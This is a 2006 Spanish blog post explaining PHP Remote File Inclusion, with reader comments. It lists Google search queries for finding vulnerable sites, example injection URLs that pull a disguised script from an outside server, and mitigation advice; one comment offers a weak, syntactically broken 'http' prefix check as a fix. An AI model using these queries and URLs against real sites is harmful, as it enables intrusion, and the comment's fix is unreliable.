Encuentra usuarios de Twitter en tu ciudad con LocaFollow

votarRemote File Inclusion

Autor: DeiMoS | Archivado en: General, PHP, Seguridad el día 1/Oct/2006

Vamos a explicar en que consiste este fallo de seguridad.

Esta vulnerabilidad permite incluir archivos remotos desde otros servidores en paginas que tengan algo asi como:

www.tusitio.com/index.php?seccion=pagina.php

Para buscar en google este tipo de fallos deberíamos poner algo así : allinurl: index.php?*=*

Pero como creo que google está filtrando este tipo de búsquedas otra opción sería buscar: allinurl: index.php?page=inicio.php o cualquier cosa que se nos ocurra.

Una vez localizada la página se puede probar la vulnerabilidad incluyendo por ejemplo una página externa. Sería asi:

http://www.tuweb.com/index.php?seccion=http://www.google.es

Si vemos que la página de google aparece dentro de la web, entonces quiere decir que estamos ante una web vulnerable a éste fallo. Sólo bastaría con sustituir google con un fichero conteniendo un script programado en php, perl… pero con una extensión .gif, .jpg o .txt para que no se ejecute en el servidor externo y que contenga codigos que podamos ejecutar en el servidor. Podéis obtener una idea en Ejecutar comandos shell mediante php.

Cómo evitar este fallo:
He observado que más de una web programan sus menús de ésta manera:

dentro del código php: include (”seccion”) o bien include (”seccion.php”) y ése fichero será el contenido o sección dentro de la estructura principal del sitio web.

Donde nosotros navegaremos por la web tal como: http://www.tusitio.com/index.php?seccion=fichero.php o bien http://www.tusitio.com/index.php?seccion=fichero

Bien, pues ésto es totalmente vulnerable a éste fallo, así que una recomendación sería usar cases y definir las opciones para que nadie pueda incluir ningún otro fichero que no sea el definido por nuestro menú de opciones.

Nota: Publicamos este artículo como recomendación de seguridad, por supuesto se puede escribir un código para entrar en una máquina y hackearla. Nosotros no pretendemos promover el uso del hacking así que no se contestará ninguna duda sobre ese tema.


  • Digg
  • del.icio.us
  • Facebook
  • Google
  • LinkedIn
  • Meneame
  • MySpace
  • Technorati
  • TwitThis
Posts Relacionados

4 Comentarios on “Remote File Inclusion”

  1. #1 Charly dijo 7:20 pm el Octubre 14th, 2006:

    Hola interesante artículo, podrías dar un ejemplo concreto de como reemplazar “include” ya que tengo un script que utiliza include(*lalala.php*) para mostrar un enlace aleatorio.

    Gracias


  2. #2 DeiMoS dijo 8:15 pm el Noviembre 6th, 2006:

    Debes usar la función rand() de php. Para ponerlo en práctica debes meter en un array el listado de enlaces y llamarlo con dicha función, ésta te devolverá un enlace aleatorio. De todos modos hay muchos ejemplos ya hechos y una buena herramienta para encontrarlos es Google ;)


  3. #3 lopongoaca dijo 8:58 pm el Marzo 12th, 2007:

    Yo tuve un problema con esta vulnerabilidad en estos dias, sencillamente lo que hice fue algo asi:

    el enlace era de tipo: http://www.mipagina.com/intro.php?cargar=intro

    dado que para cargar el script desde un servidor externo se debe poner de la forma http://www.servidor.com/script/elescript.gif, el enlace vulnerable de mi pagina quedaria

    http://www.mipagina.com/intro.php?cargar=http://www.servidor.com/script/elescript.gif

    por lo cual dentro del codigo hice esto:

    $nuevocargar = substr($cargar,0,4) //esta contiene los 3 primeros caracteres de la variable

    if ($nuevocargar != ‘http’)
    {
    include (’intro.php’)}
    else
    {
    echo “Bastardo que intentas hacer con mi pagina”)
    }

    fue algo muy simple y bastante efectivo, espero les sirva.


  4. #4 DeiMoS dijo 6:15 pm el Septiembre 15th, 2007:

    Muy bueno!!! es un buen método, pero también está el limitar que solo se puedan incluir ciertas paginas creando un grupo de opciones en un switch



Deja un comentario.